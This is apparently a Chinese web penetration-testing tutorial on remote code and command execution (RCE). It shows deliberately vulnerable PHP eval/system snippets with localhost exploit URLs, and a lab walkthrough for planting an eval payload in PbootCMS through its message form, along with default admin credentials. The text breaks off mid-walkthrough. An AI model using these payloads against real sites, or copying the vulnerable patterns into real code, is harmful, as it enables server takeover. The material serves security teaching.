【网安-Web渗透测试-漏洞系列】RCE漏洞

一、RCE概念

RCE（Remote Code/Command Execution）是远程代码执⾏和远程命令执⾏的漏洞。在很多Web应⽤中，开发⼈员会使⽤⼀些函数，这些函数以⼀些字符串作为输⼊，功能是将输⼊的字符串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时，就产⽣了RCE漏洞。

RCE漏洞是⾮常严重的安全漏洞，⼀旦出现，就意味着攻击者可以获取服务器的命令执⾏权限，从⽽对服务器安全造成极⼤的影响。

bash 复制代码

<?php
 $code=$_GET['x'];
 eval($code);
?>

bash 复制代码

http://127.0.0.1/rce_1.php?x=phpinfo();

bash 复制代码

http://127.0.0.1/rce_1.php?x=echo 'This is an echo print output!';

bash 复制代码

<?php
 $code=$_GET['x'];
 echo system($code);
?>

bash 复制代码

http://127.0.0.1/rce_2.php?x=ipconfig

bash 复制代码

http://127.0.0.1/rce_2.php?x=dir

bash 复制代码

http://127.0.0.1/rce_2.php?x=tasklist

bash 复制代码

http://127.0.0.1/rce_2.php?x=systeminfo

bash 复制代码

D:\phpStudy\PHPTutorial\WWW\pboot

bash 复制代码

http://127.0.0.1/pboot

Step1：访问地址

bash 复制代码

http://127.0.0.1/pboot/index.php/about/10.html

Step2：留言输⼊框 "内　容" 中填入如下的东西后，单击"提交"。

bash 复制代码

AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

提交成功后会显示"提交成功"

Step3：登录后台

bash 复制代码

账户：admin
密码：123456

Step4：在 "在线留言" 页面中注入恶意语句

Step1：所访问的 "在线留言" 中含有的访问地址已得知。

bash 复制代码

http://127.0.0.1/pboot/index.php/about/10.html

Step2：现查阅 "在线留言" 的源码，位置如下：

bash 复制代码

D:\phpStudy\PHPTutorial\WWW\pboot\apps\home\controller\AboutController.php

Step3：从图片看到ParserController.php中存在了一个eval函数，且AboutController.php（即"在线留言"页面）调用了ParserController.php模块。